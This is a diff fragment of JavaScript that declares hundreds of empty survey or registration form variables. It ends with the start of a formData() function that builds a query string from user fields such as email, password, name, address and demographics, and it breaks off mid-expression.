+OPMQi=-1;
+PRCQ="";
+PRCQi=-1;
+BATQ="";
+BATQi=-1;
+CMPQ="";
+CMPQi=-1;
+DSCQ="";
+DSCQi=-1;
+MSSQ="";
+MSSQi=-1;
+MSIQ="";
+MSIQi=-1;
+PGSQ="";
+PGSQi=-1;
+PCPQ="";
+PCPQi=-1;
+AO01="";
+AO02="";
+AO03="";
+AO04="";
+AO05="";
+AO06="";
+AO07="";
+AO08="";
+AO09="";
+AO10="";
+AO11="";
+AO12="";
+AO13="";
+AO14="";
+AO15="";
+AO16="";
+AO17="";
+AO18="";
+AO19="";
+AO20="";
+AO21="";
+AO22="";
+AO23="";
+AO24="";
+AO25="";
+AO26="";
+AO27="";
+AO28="";
+AO29="";
+AO30="";
+AO31="";
+AO32="";
+AO33="";
+AO34="";
+AO35="";
+IS01="";
+IS02="";
+IS03="";
+IS04="";
+IS05="";
+IS06="";
+IS07="";
+IS08="";
+IS09="";
+IS10="";
+IS11="";
+IS12="";
+IS13="";
+IS14="";
+IS15="";
+IS16="";
+IS17="";
+IS18="";
+IS19="";
+IS20="";
+IS21="";
+IS22="";
+IS23="";
+IS24="";
+IS25="";
+IS26="";
+IS27="";
+IS28="";
+IS29="";
+IS30="";
+IS31="";
+IS32="";
+IS33="";
+IS34="";
+IS35="";
+B601="";
+B602="";
+B603="";
+B604="";
+B605="";
+B606="";
+B607="";
+B608="";
+B609="";
+B610="";
+B611="";
+B612="";
+B613="";
+B614="";
+B615="";
+B616="";
+B617="";
+B618="";
+B619="";
+B620="";
+B621="";
+B622="";
+B623="";
+B624="";
+B625="";
+B626="";
+B627="";
+B628="";
+B629="";
+B630="";
+B631="";
+B632="";
+B633="";
+B634="";
+B635="";
+CTYP="";
+CTYPi=-1;
+AO36="";
+AO37="";
+IS36="";
+IS37="";
+B636="";
+B637="";
+FA01="";
+FA02="";
+FA03="";
+FA04="";
+FA05="";
+FA06="";
+FA07="";
+FA08="";
+FA09="";
+FA10="";
+FA11="";
+FA12="";
+FA13="";
+FA14="";
+FA15="";
+FA16="";
+FA17="";
+FA18="";
+FA19="";
+FA20="";
+FA21="";
+FA22="";
+FA23="";
+FA24="";
+FA25="";
+FA26="";
+FA27="";
+SI01="";
+SI02="";
+SI03="";
+SI04="";
+SI05="";
+SI06="";
+SI07="";
+SI08="";
+SI09="";
+SI10="";
+SI11="";
+SI12="";
+SI13="";
+SI14="";
+SI15="";
+SI16="";
+SI17="";
+SI18="";
+SI19="";
+SI20="";
+SI21="";
+SI22="";
+SI23="";
+SI24="";
+SI25="";
+SI26="";
+SI27="";
+SI28="";
+SI29="";
+SI30="";
+SI31="";
+SI32="";
+SI33="";
+SI34="";
+SI35="";
+SI36="";
+SI37="";
+SI38="";
+SI39="";
+SI40="";
+SI41="";
+II01="";
+II02="";
+II03="";
+II04="";
+II05="";
+II06="";
+II07="";
+II08="";
+II09="";
+II10="";
+II11="";
+OB01="";
+OB02="";
+OB03="";
+OB04="";
+PUCO="";
+SF01="";
+SF02="";
+SF03="";
+SF04="";
+SF05="";
+SF06="";
+SF07="";
+SF08="";
+SF09="";
+SF10="";
+SF11="";
+SF12="";
+SF13="";
+SF14="";
+SF15="";
+SF16="";
+SF17="";
+SF18="";
+SF19="";
+SF20="";
+SF21="";
+SF22="";
+SF23="";
+SF24="";
+SF25="";
+SF26="";
+SF27="";
+SF28="";
+SF29="";
+SF30="";
+SF31="";
+SF32="";
+SF33="";
+SF34="";
+SF35="";
+SF36="";
+SF37="";
+SF38="";
+SF39="";
+SF40="";
+SF41="";
+SF42="";
+SF43="";
+SF44="";
+SF45="";
+SF46="";
+SF47="";
+SF48="";
+SF49="";
+FA28="";
+FA29="";
+FA30="";
+FA31="";
+II12="";
+II13="";
+II14="";
+AO38="";
+IS38="";
+B638="";
+PRMU="";
+PRMUi=0;
+PRMO="";
+CAMU="";
+CAMUi=0;
+CAMO="";
+INDU="";
+INDUi=0;
+INDO="";
+INDH="";
+II15="";
+II16="";
+II17="";
+II18="";
+II19="";
+II20="";
+PLYP="";
+PLYPi=0;
+WEDT="";
+WEDTi=0;
+FM01="";
+FM02="";
+FM03="";
+FM04="";
+FM05="";
+FM06="";
+FM07="";
+FM08="";
+FM09="";
+FM10="";
+FM11="";
+FM12="";
+FM13="";
+FM14="";
+FM15="";
+FM16="";
+FM17="";
+FM18="";
+FM19="";
+FM20="";
+FM21="";
+FM22="";
+FM23="";
+FM24="";
+FM25="";
+FM26="";
+FM27="";
+FL01="";
+FL02="";
+FL03="";
+FL04="";
+FL05="";
+FL06="";
+FL07="";
+FL08="";
+FL09="";
+FL10="";
+FL11="";
+FL12="";
+FL13="";
+FL14="";
+FL15="";
+FL16="";
+FL17="";
+FL18="";
+FL19="";
+FL20="";
+FL21="";
+FL22="";
+FL23="";
+FL24="";
+FL25="";
+FL26="";
+FL27="";
+AE01="";
+AE02="";
+AE03="";
+AE04="";
+AE05="";
+AE06="";
+AE07="";
+AE08="";
+AE09="";
+AE10="";
+AG01="";
+AG02="";
+AG03="";
+AG04="";
+AG05="";
+AG06="";
+AG07="";
+AG08="";
+AG09="";
+AG10="";
+AF01="";
+AF02="";
+AF03="";
+AF04="";
+AF05="";
+AF06="";
+AF07="";
+AF08="";
+AF09="";
+AF10="";
+AP01="";
+AP02="";
+AP03="";
+AP04="";
+AP05="";
+AP06="";
+AP07="";
+AP08="";
+AP09="";
+AP10="";
+BA01="";
+BA02="";
+BA03="";
+BA04="";
+BA05="";
+BA06="";
+BA07="";
+BA08="";
+BA09="";
+BA10="";
+BA11="";
+BA12="";
+BA13="";
+BA14="";
+BA15="";
+CNCT="";
+CNCTi=-1;
+TCNT="";
+TCNTi=0;
+OCNT="";
+OCNTi=0;
+CMNT="";
+PTYP="";
+PTYPi=0;
+REPS="";
+REPSi=0;
+REPO="";
+SDIS="";
+SDISi=0;
+SDSO="";
+WUSE="";
+WUSEi=0;
+WUSO="";
+RF01="";
+RF02="";
+RF03="";
+RF04="";
+RF05="";
+RF06="";
+RF07="";
+RF08="";
+RFOT="";
+MOUF="";
+MOUFi=0;
+MOFO="";
+CO01="";
+CO02="";
+CO03="";
+CO04="";
+CO05="";
+CO06="";
+CO07="";
+WC01="";
+WC02="";
+WC03="";
+WC04="";
+WC05="";
+WC06="";
+WC07="";
+DVDS="";
+CDDS="";
+MINI="";
+RCRD="";
+TAPE="";
+FDVD="";
+FDVDi=-1;
+ODVD="";
+NCHD="";
+NCHDi=0;
+INCM="";
+INCMi=0;
+HTYP="";
+HTYPi=-1;
+AOLE="";
+AOLEi=-1;
+COLE="";
+COLEi=-1;
+OOLE="";
+HM25="";
+HM26="";
+HM27="";
+HS25="";
+HS26="";
+HS27="";
+PL25="";
+PL25i=-1;
+PL26="";
+PL26i=-1;
+PL27="";
+PL27i=-1;
+IF01="";
+IF01i=0;
+IF02="";
+IF03="";
+IF04="";
+IF05="";
+IF06="";
+IF07="";
+IF08="";
+IF09="";
+IF10="";
+IF11="";
+IF12="";
+IF13="";
+IF14="";
+IF15="";
+IF16="";
+IF17="";
+IF18="";
+IF19="";
+IF20="";
+IF21="";
+IF22="";
+IF23="";
+IF24="";
+IF25="";
+IF26="";
+IF27="";
+IF28="";
+IF29="";
+IF30="";
+IF31="";
+IF32="";
+IF33="";
+IF34="";
+IF35="";
+IF36="";
+IF37="";
+IF38="";
+IF39="";
+IF40="";
+IF41="";
+IFOT="";
+MA01="";
+MA02="";
+MA03="";
+MA04="";
+MA05="";
+MA06="";
+MA07="";
+MA08="";
+MA09="";
+MA10="";
+MA11="";
+MA12="";
+MA13="";
+MA14="";
+MA15="";
+MA16="";
+MA17="";
+MA18="";
+MA19="";
+MA20="";
+MA21="";
+MA22="";
+MA23="";
+MA24="";
+MA25="";
+MA26="";
+MAOT="";
+OF01="";
+OF02="";
+OF03="";
+OF04="";
+OF05="";
+OF06="";
+OF07="";
+OF08="";
+OF09="";
+OF10="";
+OF11="";
+OF12="";
+OF13="";
+OF14="";
+OF15="";
+OF16="";
+OF17="";
+OF18="";
+OF19="";
+OS01="";
+OS02="";
+OS03="";
+OS04="";
+OS05="";
+OS06="";
+OS07="";
+OS08="";
+OS09="";
+OS10="";
+OS11="";
+OS12="";
+OS13="";
+OS14="";
+OS15="";
+OS16="";
+OS17="";
+OS18="";
+OS19="";
+BR01="";
+BR02="";
+BR03="";
+BR04="";
+BR05="";
+BR06="";
+BR07="";
+BR08="";
+BR09="";
+BR10="";
+BR11="";
+BR12="";
+BR13="";
+BR14="";
+BR15="";
+BR16="";
+BR17="";
+BR18="";
+BR19="";
+FC01="";
+FC02="";
+FC03="";
+FC04="";
+FC05="";
+FC06="";
+FC07="";
+FC08="";
+FC09="";
+FC10="";
+FC11="";
+FC12="";
+FC13="";
+FC14="";
+FC15="";
+FC16="";
+FC17="";
+FC01i=-1;
+FC02i=-1;
+FC03i=-1;
+FC04i=-1;
+FC05i=-1;
+FC06i=-1;
+FC07i=-1;
+FC08i=-1;
+FC09i=-1;
+FC10i=-1;
+FC11i=-1;
+FC12i=-1;
+FC13i=-1;
+FC14i=-1;
+FC15i=-1;
+FC16i=-1;
+FC17i=-1;
+UNET="";
+UNETi=-1;
+MARS="";
+MARSi=-1;
+EWAR="";
+EWARi=-1;
+OCOT="";
+CG00="";
+CG00i=-1;
+CG01="";
+CG01i=-1;
+CG02="";
+CG02i=-1;
+CG03="";
+CG03i=-1;
+CG04="";
+CG04i=-1;
+CG05="";
+CG05i=-1;
+CG06="";
+CG06i=-1;
+CG07="";
+CG07i=-1;
+CG08="";
+CG08i=-1;
+CG09="";
+CG09i=-1;
+CG10="";
+CG10i=-1;
+CG11="";
+CG11i=-1;
+COCO="";
+COCOi=0;
+MI00="";
+MI01="";
+MI02="";
+MI03="";
+MI04="";
+MI05="";
+MI06="";
+MI07="";
+MI08="";
+MI09="";
+MI10="";
+MI11="";
+MI12="";
+MI13="";
+MI14="";
+MI00i=-1;
+MI01i=-1;
+MI02i=-1;
+MI03i=-1;
+MI04i=-1;
+MI05i=-1;
+MI06i=-1;
+MI07i=-1;
+MI08i=-1;
+MI09i=-1;
+MI10i=-1;
+MI11i=-1;
+MI12i=-1;
+MI13i=-1;
+MI14i=-1;
+
+YD01="";
+YD02="";
+YD03="";
+YD04="";
+YD05="";
+YD06="";
+YD07="";
+YD08="";
+YD09="";
+YD10="";
+YD11="";
+YD12="";
+YD13="";
+YD14="";
+YD15="";
+YD16="";
+YD17="";
+YD18="";
+YD19="";
+YD20="";
+YD21="";
+YD22="";
+YD23="";
+YD24="";
+YD25="";
+YD26="";
+YD27="";
+YD28="";
+YD29="";
+YD30="";
+YD31="";
+YD32="";
+YD33="";
+YD34="";
+YD35="";
+YD36="";
+YD37="";
+YD38="";
+YD39="";
+YD40="";
+YD41="";
+YD42="";
+YD43="";
+YD44="";
+YD45="";
+YD46="";
+YD47="";
+YD48="";
+YD49="";
+YD50="";
+YD51="";
+YD52="";
+YD53="";
+YD54="";
+YD55="";
+YD01i=-1;
+YD02i=-1;
+YD03i=-1;
+YD04i=-1;
+YD05i=-1;
+YD06i=-1;
+YD07i=-1;
+YD08i=-1;
+YD09i=-1;
+YD10i=-1;
+YD11i=-1;
+YD12i=-1;
+YD13i=-1;
+YD14i=-1;
+YD15i=-1;
+YD16i=-1;
+YD17i=-1;
+YD18i=-1;
+YD19i=-1;
+YD20i=-1;
+YD21i=-1;
+YD22i=-1;
+YD23i=-1;
+YD24i=-1;
+YD25i=-1;
+YD26i=-1;
+YD27i=-1;
+YD28i=-1;
+YD29i=-1;
+YD30i=-1;
+YD31i=-1;
+YD32i=-1;
+YD33i=-1;
+YD34i=-1;
+YD35i=-1;
+YD36i=-1;
+YD37i=-1;
+YD38i=-1;
+YD39i=-1;
+YD40i=-1;
+YD41i=-1;
+YD42i=-1;
+YD43i=-1;
+YD44i=-1;
+YD45i=-1;
+YD46i=-1;
+YD47i=-1;
+YD48i=-1;
+YD49i=-1;
+YD50i=-1;
+YD51i=-1;
+YD52i=-1;
+YD53i=-1;
+YD54i=-1;
+YD55i=-1;
+NI00="";
+NI01="";
+NI02="";
+NI03="";
+NI04="";
+NI05="";
+NI06="";
+NI07="";
+NI08="";
+NI09="";
+NI10="";
+NI11="";
+NI12="";
+NI13="";
+NI14="";
+NI15="";
+NI16="";
+NI17="";
+NI18="";
+NI19="";
+NI20="";
+NI21="";
+NI22="";
+NI23="";
+NI24="";
+NI25="";
+NI26="";
+NI27="";
+NI00i=-1;
+NI01i=-1;
+NI02i=-1;
+NI03i=-1;
+NI04i=-1;
+NI05i=-1;
+NI06i=-1;
+NI07i=-1;
+NI08i=-1;
+NI09i=-1;
+NI10i=-1;
+NI11i=-1;
+NI12i=-1;
+NI13i=-1;
+NI14i=-1;
+NI15i=-1;
+NI16i=-1;
+NI17i=-1;
+NI18i=-1;
+NI19i=-1;
+NI20i=-1;
+NI21i=-1;
+NI22i=-1;
+NI23i=-1;
+NI24i=-1;
+NI25i=-1;
+NI26i=-1;
+NI27i=-1;
+NIOT="";
+
+AC01="";
+AC02="";
+AC03="";
+AC04="";
+AC05="";
+AC06="";
+AC07="";
+AC08="";
+AC09="";
+AC10="";
+AC11="";
+AC12="";
+AC13="";
+AC14="";
+AC15="";
+AC16="";
+AC17="";
+AC18="";
+AC19="";
+AC20="";
+AC21="";
+AC22="";
+AC23="";
+AC24="";
+
+AC01i=-1;
+AC02i=-1;
+AC03i=-1;
+AC04i=-1;
+AC05i=-1;
+AC06i=-1;
+AC07i=-1;
+AC08i=-1;
+AC09i=-1;
+AC10i=-1;
+AC11i=-1;
+AC12i=-1;
+AC13i=-1;
+AC14i=-1;
+AC15i=-1;
+AC16i=-1;
+AC17i=-1;
+AC18i=-1;
+AC19i=-1;
+AC20i=-1;
+AC21i=-1;
+AC22i=-1;
+AC23i=-1;
+AC24i=-1;
+
+AO39="";
+IS39="";
+B639="";
+AO40="";
+IS40="";
+B640="";
+AO41="";
+IS41="";
+B641="";
+AO42="";
+IS42="";
+B642="";
+AO43="";
+IS43="";
+B643="";
+
+AO39i=-1;
+IS39i=-1;
+B639i=-1;
+AO40i=-1;
+IS40i=-1;
+B640i=-1;
+AO41i=-1;
+IS41i=-1;
+B641i=-1;
+AO42i=-1;
+IS42i=-1;
+B642i=-1;
+AO43i=-1;
+IS43i=-1;
+B643i=-1;
+
+EIMG="";
+EIMGi=0;
+IC01="";
+IC02="";
+IC03="";
+IC04="";
+IC05="";
+IC06="";
+IC07="";
+IC01i=-1;
+IC02i=-1;
+IC03i=-1;
+IC04i=-1;
+IC05i=-1;
+IC06i=-1;
+IC07i=-1;
+ICOT="";
+
+SF49="";
+FA32="";
+EISC="";
+EISCi=-1;
+
+COLR="";
+COLRi="0";
+WPOL="";
+SF50="";
+SF50i="-1";
+SF51="";
+SF51i="-1";
+SF52="";
+SF52i="-1";
+SF53="";
+SF53i="-1";
+SF54="";
+SF54i="-1";
+MDRI="";
+MDRIi="-1";
+MDIR="";
+MDIRi="0";
+OB05="";
+OB05i="-1";
+OB06="";
+OB06i="-1";
+OB07="";
+OB07i="-1";
+OB08="";
+OB08i="-1";
+OB09="";
+OB09i="-1";
+OB10="";
+OB10i="-1";
+OB11="";
+OB11i="-1";
+OB12="";
+OB12i="-1";
+OBFI="";
+OP01="";
+OP01i="-1";
+OP02="";
+OP02i="-1";
+OP03="";
+OP03i="-1";
+OP04="";
+OP04i="-1";
+SMDR="";
+SMDRi="0";
+SMDO="";
+DMFI="";
+DMFIi="-1";
+HMFD="";
+HMFDi="0";
+WSMM="";
+WSMMi="0";
+MMFI="";
+MDFP ="";
+MDMP ="";
+MDFC ="";
+MDMC ="";
+SF55 ="";
+SF56 ="";
+SF57 ="";
+SF58 ="";
+SF59 ="";
+SF60 ="";
+SF61 ="";
+SF62 ="";
+SF63 ="";
+SF64 ="";
+SF65 ="";
+SF55i =0;
+SF56i =0;
+SF57i =0;
+SF58i =0;
+SF59i =0;
+SF60i =0;
+SF61i =0;
+SF62i =0;
+SF63i =0;
+SF64i =0;
+SF65i =0;
+SFFI ="";
+RC01 ="";
+RC02 ="";
+RC03 ="";
+RC04 ="";
+RC05 ="";
+RC06 ="";
+RC07 ="";
+RC08 ="";
+RC01i =0;
+RC02i =0;
+RC03i =0;
+RC04i =0;
+RC05i =0;
+RC06i =0;
+RC07i =0;
+RC08i =0;
+RCFI ="";
+RH01 ="";
+RH02 ="";
+RH03 ="";
+RH04 ="";
+RH05 ="";
+RH06 ="";
+RH01i =0;
+RH02i =0;
+RH03i =0;
+RH04i =0;
+RH05i =0;
+RH06i =0;
+RHFI ="";
+FE35 ="";
+FE36 ="";
+FE37 ="";
+FE38 ="";
+FE39 ="";
+FE40 ="";
+FE41 ="";
+FE42 ="";
+FE43 ="";
+FE44 ="";
+FE45 ="";
+FE46 ="";
+FE47 ="";
+FE48 ="";
+FE49 ="";
+FE50 ="";
+FE51 ="";
+FE52 ="";
+FE53 ="";
+FE35i =0;
+FE36i =0;
+FE37i =0;
+FE38i =0;
+FE39i =0;
+FE40i =0;
+FE41i =0;
+FE42i =0;
+FE43i =0;
+FE44i =0;
+FE45i =0;
+FE46i =0;
+FE47i =0;
+FE48i =0;
+FE49i =0;
+FE50i =0;
+FE51i =0;
+FE52i =0;
+FE53i =0;
+NCDK ="";
+NCDKi =0;
+NPRM ="";
+NBLM ="";
+NVRC ="";
+NCTP ="";
+
+PMDP ="";
+PMDR ="";
+CRMD ="";
+MDDK ="";
+PMDPi =-1;
+PMDRi =-1;
+CRMDi =-1;
+MDDKi =-1;
+PUSE = "";
+PUSEi =0;
+IF42="";
+IF43="";
+IF44="";
+IF45="";
+IF46="";
+IF47="";
+IF48="";
+OF00="";
+OS00="";
+BR00="";
+OB13="";
+OB14="";
+
+MO01="";
+MO02="";
+MO03="";
+MO04="";
+MO05="";
+MO06="";
+MO07="";
+MO08="";
+MO09="";
+MO10="";
+MO11="";
+MO12="";
+MO13="";
+
+MO01i=-1;
+MO02i=-1;
+MO03i=-1;
+MO04i=-1;
+MO05i=-1;
+MO06i=-1;
+MO07i=-1;
+MO08i=-1;
+MO09i=-1;
+MO10i=-1;
+MO11i=-1;
+MO12i=-1;
+MO13i=-1;
+
+RF09="";
+RF10="";
+RF11="";
+RF12="";
+RF13="";
+RF14="";
+RF15="";
+RF16="";
+RF17="";
+RF18="";
+RF19="";
+RF20="";
+RF21="";
+RF22="";
+RF23="";
+RF24="";
+RF25="";
+RF26="";
+RF27="";
+RF28="";
+RF29="";
+RF30="";
+RF31="";
+RF32="";
+RF33="";
+RF34="";
+RF35="";
+RF36="";
+RF37="";
+RF38="";
+RF39="";
+RF40="";
+RF41="";
+RF42="";
+RF43="";
+RF44="";
+RF45="";
+RF46="";
+RF47="";
+RF48="";
+RF49="";
+RF50="";
+RF51="";
+RF52="";
+RF53="";
+RF54="";
+RF55="";
+RF56="";
+RF57="";
+RF58="";
+RF59="";
+RF60="";
+RF61="";
+RF62="";
+RF63="";
+RF64="";
+RF65="";
+RF66="";
+RF67="";
+
+RF09i=-1;
+RF10i=-1;
+RF11i=-1;
+RF12i=-1;
+RF13i=-1;
+RF14i=-1;
+RF15i=-1;
+RF16i=-1;
+RF17i=-1;
+RF18i=-1;
+RF19i=-1;
+RF20i=-1;
+RF21i=-1;
+RF22i=-1;
+RF23i=-1;
+RF24i=-1;
+RF25i=-1;
+RF26i=-1;
+RF27i=-1;
+RF28i=-1;
+RF29i=-1;
+RF30i=-1;
+RF31i=-1;
+RF32i=-1;
+RF33i=-1;
+RF34i=-1;
+RF35i=-1;
+RF36i=-1;
+RF37i=-1;
+RF38i=-1;
+RF39i=-1;
+RF40i=-1;
+RF41i=-1;
+RF42i=-1;
+RF43i=-1;
+RF44i=-1;
+RF45i=-1;
+RF46i=-1;
+RF47i=-1;
+RF48i=-1;
+RF49i=-1;
+RF50i=-1;
+RF51i=-1;
+RF52i=-1;
+RF53i=-1;
+RF54i=-1;
+RF55i=-1;
+RF56i=-1;
+RF57i=-1;
+RF58i=-1;
+RF59i=-1;
+RF60i=-1;
+RF61i=-1;
+RF62i=-1;
+RF63i=-1;
+RF64i=-1;
+RF65i=-1;
+RF66i=-1;
+RF67i=-1;
+
+CO08="";
+CO09="";
+CO10="";
+CO11="";
+CO12="";
+CO13="";
+CO14="";
+CO15="";
+CO16="";
+CO17="";
+CO18="";
+CO19="";
+
+CO08i=-1;
+CO09i=-1;
+CO10i=-1;
+CO11i=-1;
+CO12i=-1;
+CO13i=-1;
+CO14i=-1;
+CO15i=-1;
+CO16i=-1;
+CO17i=-1;
+CO18i=-1;
+CO19i=-1;
+
+WUCP="";
+WUCPi=0;
+
+AVSM="";
+AVSMi=0;
+
+SD01="";
+SD02="";
+SD03="";
+SD04="";
+SD05="";
+SD06="";
+SD07="";
+
+SD01i=-1;
+SD02i=-1;
+SD03i=-1;
+SD04i=-1;
+SD05i=-1;
+SD06i=-1;
+SD07i=-1;
+
+TP01="";
+TP02="";
+TP03="";
+TP04="";
+
+WC08="";
+WC09="";
+WC10="";
+WC11="";
+WC12="";
+WC13="";
+WC14="";
+WC15="";
+
+WC08i=-1;
+WC09i=-1;
+WC10i=-1;
+WC11i=-1;
+WC12i=-1;
+WC13i=-1;
+WC14i=-1;
+WC15i=-1;
+
+MD01="";
+MD02="";
+MD03="";
+MD04="";
+MD05="";
+MD06="";
+MD07="";
+MD08="";
+MD09="";
+MD10="";
+MD11="";
+MD12="";
+MD13="";
+MD14="";
+MD15="";
+
+MF01="";
+MF02="";
+MF03="";
+MF04="";
+MF05="";
+MF06="";
+MF07="";
+MF08="";
+MF09="";
+MF10="";
+MF11="";
+MF12="";
+MF13="";
+MF14="";
+MF15="";
+
+PU01="";
+PU02="";
+PU03="";
+PU04="";
+PU05="";
+
+PU01i=-1;
+PU02i=-1;
+PU03i=-1;
+PU04i=-1;
+PU05i=-1;
+
+SF00="";
+SF00i=-1;
+
+NCDR="";
+AGCT="";
+AGCTi=0;
+
+MUS1="";
+MUS2="";
+MUS3="";
+
+MUS1i=0;
+MUS2i=0;
+MUS3i=0;
+
+SF66="";
+SF67="";
+SF68="";
+FA33="";
+FA34="";
+AO44="";
+IS44="";
+B644="";
+AO44i=-1;
+IS44i=-1;
+B644i=-1;
+
+IF52="";
+IF53="";
+IF54="";
+IF55="";
+IF56="";
+IF57="";
+IF58="";
+IF59="";
+IF60="";
+IF61="";
+IF62="";
+IF63="";
+IF64="";
+IF65="";
+IF66="";
+IF67="";
+IF68="";
+
+IF52i=-1;
+IF53i=-1;
+IF54i=-1;
+IF55i=-1;
+IF56i=-1;
+IF57i=-1;
+IF58i=-1;
+IF59i=-1;
+IF60i=-1;
+IF61i=-1;
+IF62i=-1;
+IF63i=-1;
+IF64i=-1;
+IF65i=-1;
+IF66i=-1;
+IF67i=-1;
+IF68i=-1;
+
+MA28="";
+MA28i=-1;
+
+NADL="";
+AGCH="";
+LRNA="";
+LRNAi=0;
+LROT="";
+WHRM="";
+WHRMi="0";
+WROT="";
+DV01="";
+DV01i="-1";
+DV02="";
+DV02i="-1";
+DV03="";
+DV03i="-1";
+DV04="";
+DV04i="-1";
+DV05="";
+DV05i="-1";
+DV06="";
+DV06i="-1";
+DV07="";
+DV07i="-1";
+DV08="";
+DV08i="-1";
+PVUF="";
+PVUFi="0";
+WDVC="";
+WDVCi="0";
+VCOT="";
+VCPU="";
+VCPUi="0";
+PUCA="";
+PUOT="";
+SCAT="";
+SCATi="-1";
+UCBX="";
+UCBXi="-1";
+CRDS="";
+CRDSi="-1";
+SATP="";
+SATPi="-1";
+BRPS="";
+BRES="";
+HMCC="";
+HMCCi="0";
+MRTV="";
+MRTVi="0";
+WTTV="";
+WTTVi="0";
+WTOT="";
+MASL="";
+MASLi="-1";
+RESL="";
+RESLi="-1";
+OVSL="";
+OVSLi="-1";
+MPNC="";
+MPNCi="0";
+NCOT="";
+MPDC="";
+MPDCi="0";
+DCOT="";
+MPCP="";
+MPCPi="0";
+CPOT="";
+
+CA01="";
+CA01i="0";
+CA02="";
+CA02i="0";
+CA03="";
+CA03i="0";
+CA04="";
+CA04i="0";
+CA05="";
+CA05i="0";
+CA06="";
+CA06i="0";
+HMVC="";
+CTVS="";
+CTVSi="0";
+CTVA="";
+CTVAi="0";
+WKCC="";
+WKCCi="0";
+TVBN="";
+VP01="";
+VP01i="-1";
+VP02="";
+VP02i="-1";
+VP03="";
+VP03i="-1";
+VPOT="";
+WWVT="";
+WWVTi="0";
+FKTR="";
+FKTP="";
+FKOP="";
+PKOO="";
+C1AG="";
+C1FV="";
+C2AG="";
+C2FV="";
+C3AG="";
+C3FV="";
+C4AG="";
+C4FV="";
+C1A2="";
+N1HT="";
+N1VT="";
+C2A2="";
+N2HT="";
+N2VT="";
+C3A2="";
+N3HT="";
+N3VT="";
+C4A2="";
+N4HT="";
+N4VT="";
+HECG="";
+HECGi="-1";
+HEIC="";
+HEICi="-1";
+HECC="";
+HECCi="-1";
+HEDV="";
+HEDVi="-1";
+PVPR="";
+PVPRi="0";
+PPOT="";
+BVOV="";
+BVOVi="-1";
+HUVV="";
+HUVVi="0";
+HUOT="";
+RCVC="";
+RCVCi="-1";
+HRVC="";
+HRVCi="0";
+HROT="";
+
+NCP1="";
+CD01="";
+CD02="";
+CD03="";
+CD04="";
+CD05="";
+CD01i=-1;
+CD02i=-1;
+CD03i=-1;
+CD04i=-1;
+CD05i=-1;
+RF73="";
+RF74="";
+RF75="";
+RF76="";
+RF77="";
+RF78="";
+RF79="";
+RF80="";
+RF81="";
+RF82="";
+RF83="";
+RF84="";
+RF85="";
+RF86="";
+RF73i=-1;
+RF74i=-1;
+RF75i=-1;
+RF76i=-1;
+RF77i=-1;
+RF78i=-1;
+RF79i=-1;
+RF80i=-1;
+RF81i=-1;
+RF82i=-1;
+RF83i=-1;
+RF84i=-1;
+RF85i=-1;
+RF86i=-1;
+YUDC="";
+YUDCi=0;
+OCPB="";
+IF49="";
+IF50="";
+MA27="";
+
+CP01="";
+CP02="";
+CP03="";
+CP04="";
+CP05="";
+CP06="";
+CP07="";
+CP08="";
+CP09="";
+CP10="";
+CP11="";
+CPFI="";
+OBRN="";
+OMDL="";
+SNQU="";
+SNQUi=0;
+TS01="";
+TS02="";
+TS03="";
+TS04="";
+TS05="";
+TS06="";
+TS07="";
+TS08="";
+RPAU="";
+RPAUi=0;
+US01="";
+US02="";
+US03="";
+US04="";
+US05="";
+US06="";
+US07="";
+US08="";
+US09="";
+US10="";
+US11="";
+US12="";
+US13="";
+US14="";
+US01i=-1;
+US02i=-1;
+US03i=-1;
+US04i=-1;
+US05i=-1;
+US06i=-1;
+US07i=-1;
+US08i=-1;
+US09i=-1;
+US10i=-1;
+US11i=-1;
+US12i=-1;
+US13i=-1;
+US14i=-1;
+LK01="";
+LK02="";
+LK03="";
+LK04="";
+LK05="";
+LK06="";
+LK07="";
+LK08="";
+LK09="";
+LK10="";
+LK11="";
+LK12="";
+LK13="";
+LK14="";
+LK01i=-1;
+LK02i=-1;
+LK03i=-1;
+LK04i=-1;
+LK05i=-1;
+LK06i=-1;
+LK07i=-1;
+LK08i=-1;
+LK09i=-1;
+LK10i=-1;
+LK11i=-1;
+LK12i=-1;
+LK13i=-1;
+LK14i=-1;
+NCID="";
+NCIDi=0;
+NP01="";
+NP02="";
+NP03="";
+NP04="";
+NP05="";
+NP06="";
+NP07="";
+NP08="";
+PLPH="";
+PLPHi=0;
+LPFI="";
+
+POP2="";
+POP2i=0;
+OPP2="";
+PULO="";
+PULOi=0;
+ARTI="";
+ARTIi=0;
+FND2="";
+FND2i=-1;
+IWUM="";
+IWUMi=0;
+VTPS="";
+VTPSi=0;
+VPFI="";
+MART="";
+MARTi=0;
+
+OB15="";
+IF69="";
+IF70="";
+IF71="";
+OF20="";
+OS20="";
+BR20="";
+OF21="";
+OS21="";
+BR21="";
+FC18="";
+FC18i=-1;
+
+IF72="";
+IF73="";
+IF74="";
+IF75="";
+IF76="";
+IF77="";
+IF78="";
+MA29="";
+MA30="";
+OF22="";
+OS22="";
+BR22="";
+
+IF79="";
+IF80="";
+IF81="";
+MA31="";
+OF23="";
+OS23="";
+BR23="";
+OF24="";
+OS24="";
+BR24="";
+OF25="";
+OS25="";
+BR25="";
+OF26="";
+OS26="";
+BR26="";
+FC19="";
+FC19i=-1;
+IF51="";
+SUIN="";
+SUINi=-1;
+CBRN="";
+CBRNi=0;
+PICW="";
+PICWi=-1;
+PICI="";
+PICIi=-1;
+WS01="";
+WS02="";
+WS03="";
+WS04="";
+WS05="";
+WS06="";
+WS07="";
+WS08="";
+WS09="";
+WS10="";
+WSOT="";
+WR01="";
+WR02="";
+WR03="";
+WR04="";
+WR05="";
+WR06="";
+WR07="";
+WR08="";
+WR09="";
+WR10="";
+WR11="";
+WR12="";
+WR13="";
+SV01="";
+SV02="";
+SV03="";
+BMOL="";
+BMOLi=-1;
+WTBM="";
+WTBMi=0;
+WJSU="";
+WJSUi=0;
+
+OF27="";
+OS27="";
+BR27="";
+OF28="";
+OS28="";
+BR28="";
+IF82="";
+IF83="";
+MA32="";
+MA33="";
+MA34="";
+
+SFOT="";
+
+A_Reg=0;
+DI_Reg_Code=0;
+
+function formData() {
+ age_header="19";
+ data="";
+ data+="&UNID="+UNID
+ +"&DIstat="+DI_Reg_Code
+ +"&EMAL="+EMAL
+ +"&PASS="+PASS
+ +"&PASV="+PASV
+ +"&FNAM="+FNAM
+ +"&LNAM="+LNAM
+ +"&ADD1="+ADD1
+ +"&ADD2="+ADD2
+ +"&CITY="+CITY
+ +"&STAT="+STAT
+ +"&ZIPC="+ZIPC
+ +"&PHON="+PHON
+ +"&AGES="+age_header+AGES
+ +"&SEXX="+SEXX
+ +"&OCCU="+OCCU
